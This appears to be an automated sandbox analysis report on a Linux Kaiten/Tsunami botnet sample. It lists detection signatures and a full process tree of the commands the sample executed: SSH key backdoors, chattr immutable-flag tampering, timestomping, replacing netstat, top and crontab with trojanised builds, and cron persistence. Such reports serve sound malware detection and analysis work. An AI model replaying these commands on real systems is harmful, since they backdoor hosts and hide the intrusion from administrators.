Analysis
- max time kernel
149s - max time network
151s - platform
ubuntu-18.04_amd64 - resource
ubuntu1804-amd64-20260513-en - resource tags
- submitted
10/08/2026, 18:20
General
- Target install
- Size 4KB
- Sample260810-wyy47seq2z
- SHA256 f84813b68b682f38ebefef9ad08155883cfb2a5ce3cabe41d5140d0b87da48e5
Score
10/10
Malware Config
Signatures
- Family: Kaiten,Tsunami
Linux-based IoT botnet which is controlled through IRC and normally used to carry out DDoS attacks.
- Detects Kaiten/Tsunami payload 6 IoCs
- Adds new SSH keys 1 TTPs 2 IoCs
Linux special file to hold SSH keys. The threat actor may add new keys for further remote access.
- Modifies password files for system users/ groups 1 TTPs 1 IoCs
Modifies files storing password hashes of existing users/ groups, likely to grant additional privileges.
- File and Directory Permissions Modification 1 TTPs 6 IoCs
Adversaries may modify file or directory permissions to evade defenses.
- Executes dropped EXE 4 IoCs
- Modifies sudoers policy 1 TTPs 1 IoCs
Writes to /etc/sudoers or a drop-in config, potentially granting passwordless root access to a user or process.
- OS Credential Dumping 1 TTPs 1 IoCs
Adversaries may attempt to dump credentials to use it in password cracking.
- Abuse Elevation Control Mechanism: Sudo and Sudo Caching 1 TTPs 1 IoCs
Abuse sudo or cached sudo credentials to execute code.
- Creates/modifies Cron job 1 TTPs 2 IoCs
Cron allows running tasks on a schedule, and is commonly used for malware persistence.
- Enumerates running processes
Discovers information about currently running processes on the system
- Removes the immutable protection flag from a file 1 TTPs 24 IoCs
Uses chattr to remove the immutable flag from a file, allowing previously write-protected files to be modified or deleted.
- Write file to user bin folder 14 IoCs
- Writes file to system bin folder 16 IoCs
- Reads CPU attributes 1 TTPs 4 IoCs
- Reads runtime system information 64 IoCs
Reads data from /proc virtual filesystem.
- System Network Configuration Discovery 1 TTPs 4 IoCs
Adversaries may gather information about the network configuration of a system.
- Writes file to tmp directory 45 IoCs
Malware often drops required files in the /tmp directory.
Processes
-
/tmp/install/tmp/install1⤵
- Adds new SSH keys
- Modifies sudoers policy
- Creates/modifies Cron job
- Write file to user bin folder
- Writes file to system bin folder
-
/bin/mkdirmkdir /root/.ssh /usr/sbin/.ssh /sbin/.ssh2⤵
-
-
/usr/bin/chattrchattr -ia /root/.ssh "/root/.ssh/authorized_keys*" /usr/sbin/.ssh /usr/sbin/.ssh/authorized_keys /sbin/.ssh /sbin/.ssh/authorized_keys /sbin/nologin /usr/sbin/nologin2⤵
- Removes the immutable protection flag from a file
-
-
/bin/mvmv /root/.ssh/authorized_keys /var/lock/authorized_keys2⤵
-
-
/bin/catcat authorized_keys2⤵
-
-
/bin/catcat authorized_keys2⤵
-
-
/bin/catcat authorized_keys2⤵
-
-
/bin/chmodchmod 700 /root/.ssh /usr/sbin/.ssh /sbin/.ssh2⤵
-
-
/bin/chmodchmod 600 /root/.ssh/authorized_keys /usr/sbin/.ssh/authorized_keys /sbin/.ssh/authorized_keys2⤵
-
-
/usr/bin/chshchsh -s /bin/sh daemon2⤵
- Modifies password files for system users/ groups
- OS Credential Dumping
-
/usr/sbin/nscdnscd -i passwd3⤵
- Removes the immutable protection flag from a file
-
-
/usr/sbin/nscdnscd -i group3⤵
- Removes the immutable protection flag from a file
-
-
/usr/sbin/nscdnscd -i passwd3⤵
- Removes the immutable protection flag from a file
-
-
-
/bin/chownchown daemon:daemon /usr/sbin/.ssh /sbin/.ssh /usr/sbin/.ssh/authorized_keys /sbin/.ssh/authorized_keys2⤵
-
-
/usr/bin/touchtouch -d "2018-11-22 07:53:00" /root/.ssh/authorized_keys /usr/sbin/.ssh/authorized_keys /sbin/.ssh/authorized_keys2⤵
- Adds new SSH keys
- Write file to user bin folder
- Writes file to system bin folder
-
-
/usr/bin/chattrchattr +ia /root/.ssh/authorized_keys /usr/sbin/.ssh/authorized_keys /sbin/.ssh/authorized_keys2⤵
- Removes the immutable protection flag from a file
-
-
/bin/catcat /bin/bash2⤵
-
-
/bin/catcat /bin/bash2⤵
-
-
/usr/bin/chattrchattr -ia /sbin/nologin /usr/sbin/nologin /bin/crond /bin/where /bin/execute /bin/monitor /bin/netstat /usr/bin/netstatz /bin/flush /usr/bin/crontab /usr/bin/power /usr/bin/whereis /usr/bin/whereos /usr/bin/top /usr/sbin/top /bin/clean /usr/sbin/baca2⤵
- Removes the immutable protection flag from a file
-
-
/bin/shsh -c "killall -9 monitor crond where execute > /dev/null 2>&1 &"2⤵
-
-
/usr/bin/pkillpkill -9 monitor2⤵
- Reads CPU attributes
- Reads runtime system information
-
-
/usr/bin/pkillpkill -9 execute2⤵
- Reads CPU attributes
- Reads runtime system information
-
-
/usr/bin/pkillpkill -9 crond2⤵
- Reads CPU attributes
- Reads runtime system information
-
-
/usr/bin/pkillpkill -9 where2⤵
- Reads CPU attributes
- Reads runtime system information
-
-
/bin/rmrm -f /bin/flush /bin/crond /bin/monitor /bin/where /bin/execute /usr/sbin/baca /bin/clean2⤵
-
-
/bin/mvmv /usr/bin/netstatz /bin/netstat2⤵
-
-
/bin/mvmv /bin/netstat /usr/bin/netstatz2⤵
-
-
/bin/mvmv netstat /bin/netstat2⤵
-
-
/bin/mvmv execute /bin/execute2⤵
-
-
/bin/mvmv flush /bin/flush2⤵
-
-
/bin/chmodchmod 755 /bin/netstat /bin/execute bin/flush2⤵
- File and Directory Permissions Modification
-
-
/usr/bin/gccgcc cleaner.c -o /bin/clean -D Linux2⤵
- Writes file to tmp directory
-
/usr/lib/gcc/x86_64-linux-gnu/7/cc1/usr/lib/gcc/x86_64-linux-gnu/7/cc1 -quiet -imultiarch x86_64-linux-gnu -D Linux cleaner.c -quiet -dumpbase cleaner.c "-mtune=generic" "-march=x86-64" -auxbase cleaner -fstack-protector-strong -Wformat -Wformat-security -o /tmp/ccCIpiPD.s3⤵
- Removes the immutable protection flag from a file
- Writes file to tmp directory
-
-
/usr/local/sbin/asas --64 -o /tmp/ccEwKOXl.o /tmp/ccCIpiPD.s3⤵
- System Network Configuration Discovery
-
-
/usr/local/bin/asas --64 -o /tmp/ccEwKOXl.o /tmp/ccCIpiPD.s3⤵
- System Network Configuration Discovery
-
-
/usr/sbin/asas --64 -o /tmp/ccEwKOXl.o /tmp/ccCIpiPD.s3⤵
- System Network Configuration Discovery
-
-
/usr/bin/asas --64 -o /tmp/ccEwKOXl.o /tmp/ccCIpiPD.s3⤵
- System Network Configuration Discovery
- Writes file to tmp directory
-
-
/usr/lib/gcc/x86_64-linux-gnu/7/collect2/usr/lib/gcc/x86_64-linux-gnu/7/collect2 -plugin /usr/lib/gcc/x86_64-linux-gnu/7/liblto_plugin.so "-plugin-opt=/usr/lib/gcc/x86_64-linux-gnu/7/lto-wrapper" "-plugin-opt=-fresolution=/tmp/ccsQBoe4.res" "-plugin-opt=-pass-through=-lgcc" "-plugin-opt=-pass-through=-lgcc_s" "-plugin-opt=-pass-through=-lc" "-plugin-opt=-pass-through=-lgcc" "-plugin-opt=-pass-through=-lgcc_s" --build-id --eh-frame-hdr -m elf_x86_64 "--hash-style=gnu" --as-needed -dynamic-linker /lib64/ld-linux-x86-64.so.2 -pie -z now -z relro -o /bin/clean /usr/lib/gcc/x86_64-linux-gnu/7/../../../x86_64-linux-gnu/Scrt1.o /usr/lib/gcc/x86_64-linux-gnu/7/../../../x86_64-linux-gnu/crti.o /usr/lib/gcc/x86_64-linux-gnu/7/crtbeginS.o -L/usr/lib/gcc/x86_64-linux-gnu/7 -L/usr/lib/gcc/x86_64-linux-gnu/7/../../../x86_64-linux-gnu -L/usr/lib/gcc/x86_64-linux-gnu/7/../../../../lib -L/lib/x86_64-linux-gnu -L/lib/../lib -L/usr/lib/x86_64-linux-gnu -L/usr/lib/../lib -L/usr/lib/gcc/x86_64-linux-gnu/7/../../.. /tmp/ccEwKOXl.o -lgcc --push-state --as-needed -lgcc_s --pop-state -lc -lgcc --push-state --as-needed -lgcc_s --pop-state /usr/lib/gcc/x86_64-linux-gnu/7/crtendS.o /usr/lib/gcc/x86_64-linux-gnu/7/../../../x86_64-linux-gnu/crtn.o3⤵
- Removes the immutable protection flag from a file
- Writes file to tmp directory
-
/usr/bin/ld/usr/bin/ld -plugin /usr/lib/gcc/x86_64-linux-gnu/7/liblto_plugin.so "-plugin-opt=/usr/lib/gcc/x86_64-linux-gnu/7/lto-wrapper" "-plugin-opt=-fresolution=/tmp/ccsQBoe4.res" "-plugin-opt=-pass-through=-lgcc" "-plugin-opt=-pass-through=-lgcc_s" "-plugin-opt=-pass-through=-lc" "-plugin-opt=-pass-through=-lgcc" "-plugin-opt=-pass-through=-lgcc_s" --build-id --eh-frame-hdr -m elf_x86_64 "--hash-style=gnu" --as-needed -dynamic-linker /lib64/ld-linux-x86-64.so.2 -pie -z now -z relro -o /bin/clean /usr/lib/gcc/x86_64-linux-gnu/7/../../../x86_64-linux-gnu/Scrt1.o /usr/lib/gcc/x86_64-linux-gnu/7/../../../x86_64-linux-gnu/crti.o /usr/lib/gcc/x86_64-linux-gnu/7/crtbeginS.o -L/usr/lib/gcc/x86_64-linux-gnu/7 -L/usr/lib/gcc/x86_64-linux-gnu/7/../../../x86_64-linux-gnu -L/usr/lib/gcc/x86_64-linux-gnu/7/../../../../lib -L/lib/x86_64-linux-gnu -L/lib/../lib -L/usr/lib/x86_64-linux-gnu -L/usr/lib/../lib -L/usr/lib/gcc/x86_64-linux-gnu/7/../../.. /tmp/ccEwKOXl.o -lgcc --push-state --as-needed -lgcc_s --pop-state -lc -lgcc --push-state --as-needed -lgcc_s --pop-state /usr/lib/gcc/x86_64-linux-gnu/7/crtendS.o /usr/lib/gcc/x86_64-linux-gnu/7/../../../x86_64-linux-gnu/crtn.o4⤵
- Removes the immutable protection flag from a file
- Writes file to system bin folder
-
-
-
-
/usr/bin/gccgcc -o /usr/sbin/baca decode.c2⤵
- Writes file to tmp directory
-
/usr/lib/gcc/x86_64-linux-gnu/7/cc1/usr/lib/gcc/x86_64-linux-gnu/7/cc1 -quiet -imultiarch x86_64-linux-gnu decode.c -quiet -dumpbase decode.c "-mtune=generic" "-march=x86-64" -auxbase decode -fstack-protector-strong -Wformat -Wformat-security -o /tmp/ccIUVayZ.s3⤵
- Removes the immutable protection flag from a file
- Writes file to tmp directory
-
-
/usr/local/sbin/asas --64 -o /tmp/ccJVCvKI.o /tmp/ccIUVayZ.s3⤵
-
-
/usr/local/bin/asas --64 -o /tmp/ccJVCvKI.o /tmp/ccIUVayZ.s3⤵
-
-
/usr/sbin/asas --64 -o /tmp/ccJVCvKI.o /tmp/ccIUVayZ.s3⤵
-
-
/usr/bin/asas --64 -o /tmp/ccJVCvKI.o /tmp/ccIUVayZ.s3⤵
- Writes file to tmp directory
-
-
/usr/lib/gcc/x86_64-linux-gnu/7/collect2/usr/lib/gcc/x86_64-linux-gnu/7/collect2 -plugin /usr/lib/gcc/x86_64-linux-gnu/7/liblto_plugin.so "-plugin-opt=/usr/lib/gcc/x86_64-linux-gnu/7/lto-wrapper" "-plugin-opt=-fresolution=/tmp/ccQrQ10r.res" "-plugin-opt=-pass-through=-lgcc" "-plugin-opt=-pass-through=-lgcc_s" "-plugin-opt=-pass-through=-lc" "-plugin-opt=-pass-through=-lgcc" "-plugin-opt=-pass-through=-lgcc_s" --build-id --eh-frame-hdr -m elf_x86_64 "--hash-style=gnu" --as-needed -dynamic-linker /lib64/ld-linux-x86-64.so.2 -pie -z now -z relro -o /usr/sbin/baca /usr/lib/gcc/x86_64-linux-gnu/7/../../../x86_64-linux-gnu/Scrt1.o /usr/lib/gcc/x86_64-linux-gnu/7/../../../x86_64-linux-gnu/crti.o /usr/lib/gcc/x86_64-linux-gnu/7/crtbeginS.o -L/usr/lib/gcc/x86_64-linux-gnu/7 -L/usr/lib/gcc/x86_64-linux-gnu/7/../../../x86_64-linux-gnu -L/usr/lib/gcc/x86_64-linux-gnu/7/../../../../lib -L/lib/x86_64-linux-gnu -L/lib/../lib -L/usr/lib/x86_64-linux-gnu -L/usr/lib/../lib -L/usr/lib/gcc/x86_64-linux-gnu/7/../../.. /tmp/ccJVCvKI.o -lgcc --push-state --as-needed -lgcc_s --pop-state -lc -lgcc --push-state --as-needed -lgcc_s --pop-state /usr/lib/gcc/x86_64-linux-gnu/7/crtendS.o /usr/lib/gcc/x86_64-linux-gnu/7/../../../x86_64-linux-gnu/crtn.o3⤵
- Removes the immutable protection flag from a file
- Writes file to tmp directory
-
/usr/bin/ld/usr/bin/ld -plugin /usr/lib/gcc/x86_64-linux-gnu/7/liblto_plugin.so "-plugin-opt=/usr/lib/gcc/x86_64-linux-gnu/7/lto-wrapper" "-plugin-opt=-fresolution=/tmp/ccQrQ10r.res" "-plugin-opt=-pass-through=-lgcc" "-plugin-opt=-pass-through=-lgcc_s" "-plugin-opt=-pass-through=-lc" "-plugin-opt=-pass-through=-lgcc" "-plugin-opt=-pass-through=-lgcc_s" --build-id --eh-frame-hdr -m elf_x86_64 "--hash-style=gnu" --as-needed -dynamic-linker /lib64/ld-linux-x86-64.so.2 -pie -z now -z relro -o /usr/sbin/baca /usr/lib/gcc/x86_64-linux-gnu/7/../../../x86_64-linux-gnu/Scrt1.o /usr/lib/gcc/x86_64-linux-gnu/7/../../../x86_64-linux-gnu/crti.o /usr/lib/gcc/x86_64-linux-gnu/7/crtbeginS.o -L/usr/lib/gcc/x86_64-linux-gnu/7 -L/usr/lib/gcc/x86_64-linux-gnu/7/../../../x86_64-linux-gnu -L/usr/lib/gcc/x86_64-linux-gnu/7/../../../../lib -L/lib/x86_64-linux-gnu -L/lib/../lib -L/usr/lib/x86_64-linux-gnu -L/usr/lib/../lib -L/usr/lib/gcc/x86_64-linux-gnu/7/../../.. /tmp/ccJVCvKI.o -lgcc --push-state --as-needed -lgcc_s --pop-state -lc -lgcc --push-state --as-needed -lgcc_s --pop-state /usr/lib/gcc/x86_64-linux-gnu/7/crtendS.o /usr/lib/gcc/x86_64-linux-gnu/7/../../../x86_64-linux-gnu/crtn.o4⤵
- Removes the immutable protection flag from a file
- Write file to user bin folder
-
-
-
-
/usr/bin/gccgcc -o /bin/monitor monitor.c2⤵
- Writes file to tmp directory
-
/usr/lib/gcc/x86_64-linux-gnu/7/cc1/usr/lib/gcc/x86_64-linux-gnu/7/cc1 -quiet -imultiarch x86_64-linux-gnu monitor.c -quiet -dumpbase monitor.c "-mtune=generic" "-march=x86-64" -auxbase monitor -fstack-protector-strong -Wformat -Wformat-security -o /tmp/cc1mZK4a.s3⤵
- Removes the immutable protection flag from a file
- Writes file to tmp directory
-
-
/usr/local/sbin/asas --64 -o /tmp/cchmvsPV.o /tmp/cc1mZK4a.s3⤵
-
-
/usr/local/bin/asas --64 -o /tmp/cchmvsPV.o /tmp/cc1mZK4a.s3⤵
-
-
/usr/sbin/asas --64 -o /tmp/cchmvsPV.o /tmp/cc1mZK4a.s3⤵
-
-
/usr/bin/asas --64 -o /tmp/cchmvsPV.o /tmp/cc1mZK4a.s3⤵
- Writes file to tmp directory
-
-
/usr/lib/gcc/x86_64-linux-gnu/7/collect2/usr/lib/gcc/x86_64-linux-gnu/7/collect2 -plugin /usr/lib/gcc/x86_64-linux-gnu/7/liblto_plugin.so "-plugin-opt=/usr/lib/gcc/x86_64-linux-gnu/7/lto-wrapper" "-plugin-opt=-fresolution=/tmp/ccP0tuJG.res" "-plugin-opt=-pass-through=-lgcc" "-plugin-opt=-pass-through=-lgcc_s" "-plugin-opt=-pass-through=-lc" "-plugin-opt=-pass-through=-lgcc" "-plugin-opt=-pass-through=-lgcc_s" --build-id --eh-frame-hdr -m elf_x86_64 "--hash-style=gnu" --as-needed -dynamic-linker /lib64/ld-linux-x86-64.so.2 -pie -z now -z relro -o /bin/monitor /usr/lib/gcc/x86_64-linux-gnu/7/../../../x86_64-linux-gnu/Scrt1.o /usr/lib/gcc/x86_64-linux-gnu/7/../../../x86_64-linux-gnu/crti.o /usr/lib/gcc/x86_64-linux-gnu/7/crtbeginS.o -L/usr/lib/gcc/x86_64-linux-gnu/7 -L/usr/lib/gcc/x86_64-linux-gnu/7/../../../x86_64-linux-gnu -L/usr/lib/gcc/x86_64-linux-gnu/7/../../../../lib -L/lib/x86_64-linux-gnu -L/lib/../lib -L/usr/lib/x86_64-linux-gnu -L/usr/lib/../lib -L/usr/lib/gcc/x86_64-linux-gnu/7/../../.. /tmp/cchmvsPV.o -lgcc --push-state --as-needed -lgcc_s --pop-state -lc -lgcc --push-state --as-needed -lgcc_s --pop-state /usr/lib/gcc/x86_64-linux-gnu/7/crtendS.o /usr/lib/gcc/x86_64-linux-gnu/7/../../../x86_64-linux-gnu/crtn.o3⤵
- Removes the immutable protection flag from a file
- Writes file to tmp directory
-
/usr/bin/ld/usr/bin/ld -plugin /usr/lib/gcc/x86_64-linux-gnu/7/liblto_plugin.so "-plugin-opt=/usr/lib/gcc/x86_64-linux-gnu/7/lto-wrapper" "-plugin-opt=-fresolution=/tmp/ccP0tuJG.res" "-plugin-opt=-pass-through=-lgcc" "-plugin-opt=-pass-through=-lgcc_s" "-plugin-opt=-pass-through=-lc" "-plugin-opt=-pass-through=-lgcc" "-plugin-opt=-pass-through=-lgcc_s" --build-id --eh-frame-hdr -m elf_x86_64 "--hash-style=gnu" --as-needed -dynamic-linker /lib64/ld-linux-x86-64.so.2 -pie -z now -z relro -o /bin/monitor /usr/lib/gcc/x86_64-linux-gnu/7/../../../x86_64-linux-gnu/Scrt1.o /usr/lib/gcc/x86_64-linux-gnu/7/../../../x86_64-linux-gnu/crti.o /usr/lib/gcc/x86_64-linux-gnu/7/crtbeginS.o -L/usr/lib/gcc/x86_64-linux-gnu/7 -L/usr/lib/gcc/x86_64-linux-gnu/7/../../../x86_64-linux-gnu -L/usr/lib/gcc/x86_64-linux-gnu/7/../../../../lib -L/lib/x86_64-linux-gnu -L/lib/../lib -L/usr/lib/x86_64-linux-gnu -L/usr/lib/../lib -L/usr/lib/gcc/x86_64-linux-gnu/7/../../.. /tmp/cchmvsPV.o -lgcc --push-state --as-needed -lgcc_s --pop-state -lc -lgcc --push-state --as-needed -lgcc_s --pop-state /usr/lib/gcc/x86_64-linux-gnu/7/crtendS.o /usr/lib/gcc/x86_64-linux-gnu/7/../../../x86_64-linux-gnu/crtn.o4⤵
- Removes the immutable protection flag from a file
- Writes file to system bin folder
-
-
-
-
/usr/bin/gccgcc -o /bin/crond crond.c2⤵
- Writes file to tmp directory
-
/usr/lib/gcc/x86_64-linux-gnu/7/cc1/usr/lib/gcc/x86_64-linux-gnu/7/cc1 -quiet -imultiarch x86_64-linux-gnu crond.c -quiet -dumpbase crond.c "-mtune=generic" "-march=x86-64" -auxbase crond -fstack-protector-strong -Wformat -Wformat-security -o /tmp/ccBSBE9B.s3⤵
- Removes the immutable protection flag from a file
- Writes file to tmp directory
-
-
/usr/local/sbin/asas --64 -o /tmp/cc1uk9Co.o /tmp/ccBSBE9B.s3⤵
-
-
/usr/local/bin/asas --64 -o /tmp/cc1uk9Co.o /tmp/ccBSBE9B.s3⤵
-
-
/usr/sbin/asas --64 -o /tmp/cc1uk9Co.o /tmp/ccBSBE9B.s3⤵
-
-
/usr/bin/asas --64 -o /tmp/cc1uk9Co.o /tmp/ccBSBE9B.s3⤵
- Writes file to tmp directory
-
-
/usr/lib/gcc/x86_64-linux-gnu/7/collect2/usr/lib/gcc/x86_64-linux-gnu/7/collect2 -plugin /usr/lib/gcc/x86_64-linux-gnu/7/liblto_plugin.so "-plugin-opt=/usr/lib/gcc/x86_64-linux-gnu/7/lto-wrapper" "-plugin-opt=-fresolution=/tmp/ccnYF3eb.res" "-plugin-opt=-pass-through=-lgcc" "-plugin-opt=-pass-through=-lgcc_s" "-plugin-opt=-pass-through=-lc" "-plugin-opt=-pass-through=-lgcc" "-plugin-opt=-pass-through=-lgcc_s" --build-id --eh-frame-hdr -m elf_x86_64 "--hash-style=gnu" --as-needed -dynamic-linker /lib64/ld-linux-x86-64.so.2 -pie -z now -z relro -o /bin/crond /usr/lib/gcc/x86_64-linux-gnu/7/../../../x86_64-linux-gnu/Scrt1.o /usr/lib/gcc/x86_64-linux-gnu/7/../../../x86_64-linux-gnu/crti.o /usr/lib/gcc/x86_64-linux-gnu/7/crtbeginS.o -L/usr/lib/gcc/x86_64-linux-gnu/7 -L/usr/lib/gcc/x86_64-linux-gnu/7/../../../x86_64-linux-gnu -L/usr/lib/gcc/x86_64-linux-gnu/7/../../../../lib -L/lib/x86_64-linux-gnu -L/lib/../lib -L/usr/lib/x86_64-linux-gnu -L/usr/lib/../lib -L/usr/lib/gcc/x86_64-linux-gnu/7/../../.. /tmp/cc1uk9Co.o -lgcc --push-state --as-needed -lgcc_s --pop-state -lc -lgcc --push-state --as-needed -lgcc_s --pop-state /usr/lib/gcc/x86_64-linux-gnu/7/crtendS.o /usr/lib/gcc/x86_64-linux-gnu/7/../../../x86_64-linux-gnu/crtn.o3⤵
- Removes the immutable protection flag from a file
- Writes file to tmp directory
-
/usr/bin/ld/usr/bin/ld -plugin /usr/lib/gcc/x86_64-linux-gnu/7/liblto_plugin.so "-plugin-opt=/usr/lib/gcc/x86_64-linux-gnu/7/lto-wrapper" "-plugin-opt=-fresolution=/tmp/ccnYF3eb.res" "-plugin-opt=-pass-through=-lgcc" "-plugin-opt=-pass-through=-lgcc_s" "-plugin-opt=-pass-through=-lc" "-plugin-opt=-pass-through=-lgcc" "-plugin-opt=-pass-through=-lgcc_s" --build-id --eh-frame-hdr -m elf_x86_64 "--hash-style=gnu" --as-needed -dynamic-linker /lib64/ld-linux-x86-64.so.2 -pie -z now -z relro -o /bin/crond /usr/lib/gcc/x86_64-linux-gnu/7/../../../x86_64-linux-gnu/Scrt1.o /usr/lib/gcc/x86_64-linux-gnu/7/../../../x86_64-linux-gnu/crti.o /usr/lib/gcc/x86_64-linux-gnu/7/crtbeginS.o -L/usr/lib/gcc/x86_64-linux-gnu/7 -L/usr/lib/gcc/x86_64-linux-gnu/7/../../../x86_64-linux-gnu -L/usr/lib/gcc/x86_64-linux-gnu/7/../../../../lib -L/lib/x86_64-linux-gnu -L/lib/../lib -L/usr/lib/x86_64-linux-gnu -L/usr/lib/../lib -L/usr/lib/gcc/x86_64-linux-gnu/7/../../.. /tmp/cc1uk9Co.o -lgcc --push-state --as-needed -lgcc_s --pop-state -lc -lgcc --push-state --as-needed -lgcc_s --pop-state /usr/lib/gcc/x86_64-linux-gnu/7/crtendS.o /usr/lib/gcc/x86_64-linux-gnu/7/../../../x86_64-linux-gnu/crtn.o4⤵
- Removes the immutable protection flag from a file
- Writes file to system bin folder
-
-
-
-
/usr/bin/gccgcc -o /bin/where where.c2⤵
- Writes file to tmp directory
-
/usr/lib/gcc/x86_64-linux-gnu/7/cc1/usr/lib/gcc/x86_64-linux-gnu/7/cc1 -quiet -imultiarch x86_64-linux-gnu where.c -quiet -dumpbase where.c "-mtune=generic" "-march=x86-64" -auxbase where -fstack-protector-strong -Wformat -Wformat-security -o /tmp/ccMSMZU6.s3⤵
- Removes the immutable protection flag from a file
- Writes file to tmp directory
-
-
/usr/local/sbin/asas --64 -o /tmp/ccrpv86U.o /tmp/ccMSMZU6.s3⤵
-
-
/usr/local/bin/asas --64 -o /tmp/ccrpv86U.o /tmp/ccMSMZU6.s3⤵
-
-
/usr/sbin/asas --64 -o /tmp/ccrpv86U.o /tmp/ccMSMZU6.s3⤵
-
-
/usr/bin/asas --64 -o /tmp/ccrpv86U.o /tmp/ccMSMZU6.s3⤵
- Writes file to tmp directory
-
-
/usr/lib/gcc/x86_64-linux-gnu/7/collect2/usr/lib/gcc/x86_64-linux-gnu/7/collect2 -plugin /usr/lib/gcc/x86_64-linux-gnu/7/liblto_plugin.so "-plugin-opt=/usr/lib/gcc/x86_64-linux-gnu/7/lto-wrapper" "-plugin-opt=-fresolution=/tmp/cc4fUbqJ.res" "-plugin-opt=-pass-through=-lgcc" "-plugin-opt=-pass-through=-lgcc_s" "-plugin-opt=-pass-through=-lc" "-plugin-opt=-pass-through=-lgcc" "-plugin-opt=-pass-through=-lgcc_s" --build-id --eh-frame-hdr -m elf_x86_64 "--hash-style=gnu" --as-needed -dynamic-linker /lib64/ld-linux-x86-64.so.2 -pie -z now -z relro -o /bin/where /usr/lib/gcc/x86_64-linux-gnu/7/../../../x86_64-linux-gnu/Scrt1.o /usr/lib/gcc/x86_64-linux-gnu/7/../../../x86_64-linux-gnu/crti.o /usr/lib/gcc/x86_64-linux-gnu/7/crtbeginS.o -L/usr/lib/gcc/x86_64-linux-gnu/7 -L/usr/lib/gcc/x86_64-linux-gnu/7/../../../x86_64-linux-gnu -L/usr/lib/gcc/x86_64-linux-gnu/7/../../../../lib -L/lib/x86_64-linux-gnu -L/lib/../lib -L/usr/lib/x86_64-linux-gnu -L/usr/lib/../lib -L/usr/lib/gcc/x86_64-linux-gnu/7/../../.. /tmp/ccrpv86U.o -lgcc --push-state --as-needed -lgcc_s --pop-state -lc -lgcc --push-state --as-needed -lgcc_s --pop-state /usr/lib/gcc/x86_64-linux-gnu/7/crtendS.o /usr/lib/gcc/x86_64-linux-gnu/7/../../../x86_64-linux-gnu/crtn.o3⤵
- Removes the immutable protection flag from a file
- Writes file to tmp directory
-
/usr/bin/ld/usr/bin/ld -plugin /usr/lib/gcc/x86_64-linux-gnu/7/liblto_plugin.so "-plugin-opt=/usr/lib/gcc/x86_64-linux-gnu/7/lto-wrapper" "-plugin-opt=-fresolution=/tmp/cc4fUbqJ.res" "-plugin-opt=-pass-through=-lgcc" "-plugin-opt=-pass-through=-lgcc_s" "-plugin-opt=-pass-through=-lc" "-plugin-opt=-pass-through=-lgcc" "-plugin-opt=-pass-through=-lgcc_s" --build-id --eh-frame-hdr -m elf_x86_64 "--hash-style=gnu" --as-needed -dynamic-linker /lib64/ld-linux-x86-64.so.2 -pie -z now -z relro -o /bin/where /usr/lib/gcc/x86_64-linux-gnu/7/../../../x86_64-linux-gnu/Scrt1.o /usr/lib/gcc/x86_64-linux-gnu/7/../../../x86_64-linux-gnu/crti.o /usr/lib/gcc/x86_64-linux-gnu/7/crtbeginS.o -L/usr/lib/gcc/x86_64-linux-gnu/7 -L/usr/lib/gcc/x86_64-linux-gnu/7/../../../x86_64-linux-gnu -L/usr/lib/gcc/x86_64-linux-gnu/7/../../../../lib -L/lib/x86_64-linux-gnu -L/lib/../lib -L/usr/lib/x86_64-linux-gnu -L/usr/lib/../lib -L/usr/lib/gcc/x86_64-linux-gnu/7/../../.. /tmp/ccrpv86U.o -lgcc --push-state --as-needed -lgcc_s --pop-state -lc -lgcc --push-state --as-needed -lgcc_s --pop-state /usr/lib/gcc/x86_64-linux-gnu/7/crtendS.o /usr/lib/gcc/x86_64-linux-gnu/7/../../../x86_64-linux-gnu/crtn.o4⤵
- Removes the immutable protection flag from a file
- Writes file to system bin folder
-
-
-
-
/bin/mvmv /usr/bin/power /usr/bin/crontab2⤵
- Reads runtime system information
-
-
/bin/mvmv /usr/bin/crontab /usr/bin/power2⤵
-
-
/bin/mvmv /usr/bin/whereos /usr/bin/whereis2⤵
-
-
/bin/mvmv /usr/bin/whereis /usr/bin/whereos2⤵
-
-
/bin/mvmv /usr/sbin/top /usr/bin/top2⤵
-
-
/bin/mvmv /usr/bin/top /usr/sbin/top2⤵
-
-
/bin/catcat crontab2⤵
-
-
/bin/catcat /usr/bin/crontab2⤵
-
-
/bin/catcat whereis2⤵
-
-
/bin/catcat /usr/bin/whereis2⤵
-
-
/bin/catcat top2⤵
-
-
/bin/catcat /usr/bin/top2⤵
-
-
/bin/chmodchmod 755 /bin/crond /bin/where /bin/monitor /usr/bin/top /usr/bin/crontab /usr/bin/whereis2⤵
- File and Directory Permissions Modification
-
-
/usr/bin/touchtouch -d "2018-11-07 22:11:00" /bin/crond /bin/where /bin/execute /bin/monitor /bin/flush /usr/bin/crontab /usr/bin/power /usr/bin/whereis /usr/bin/whereos /usr/bin/top /usr/sbin/top /bin/clean /usr/sbin/baca2⤵
- Write file to user bin folder
- Writes file to system bin folder
-
-
/usr/bin/chattrchattr +ia /bin/crond /bin/where /bin/execute /bin/monitor /bin/flush /usr/bin/crontab /usr/bin/power /usr/bin/whereis /usr/bin/whereos /usr/bin/top /usr/sbin/top /bin/clean /usr/sbin/baca /bin/netstat2⤵
- Removes the immutable protection flag from a file
-
-
/bin/chmodchmod go-r /etc/ssh/moduli /etc/ssh/ssh_config /etc/ssh/ssh_host_ecdsa_key /etc/ssh/ssh_host_ecdsa_key.pub /etc/ssh/ssh_host_ed25519_key /etc/ssh/ssh_host_ed25519_key.pub /etc/ssh/ssh_host_rsa_key /etc/ssh/ssh_host_rsa_key.pub /etc/ssh/ssh_import_id /etc/ssh/sshd_config2⤵
-
-
/bin/mkdirmkdir /etc/cron.d /etc/cron.daily /etc/cron.hourly /etc/cron.monthly /etc/cron.weekly2⤵
-
-
/usr/bin/chattrchattr -ia /etc/cron.d /etc/cron.daily /etc/cron.hourly /etc/cron.monthly /etc/cron.weekly /etc/cron.d/anacron /etc/cron.d/popularity-contest /etc/cron.daily/0anacron /etc/cron.daily/apport /etc/cron.daily/apt-compat /etc/cron.daily/bsdmainutils /etc/cron.daily/cracklib-runtime /etc/cron.daily/dpkg /etc/cron.daily/logrotate /etc/cron.daily/man-db /etc/cron.daily/mlocate /etc/cron.daily/passwd /etc/cron.daily/popularity-contest /etc/cron.daily/update-notifier-common "/etc/cron.hourly/*" /etc/cron.monthly/0anacron /etc/cron.weekly/0anacron /etc/cron.weekly/man-db /etc/cron.weekly/update-notifier-common2⤵
- Removes the immutable protection flag from a file
-
-
/bin/chmodchmod 755 /etc/cron.hourly/cron.hourly2⤵
- File and Directory Permissions Modification
-
-
/bin/chmodchmod 755 /etc/cron.daily/cron.daily2⤵
- File and Directory Permissions Modification
-
-
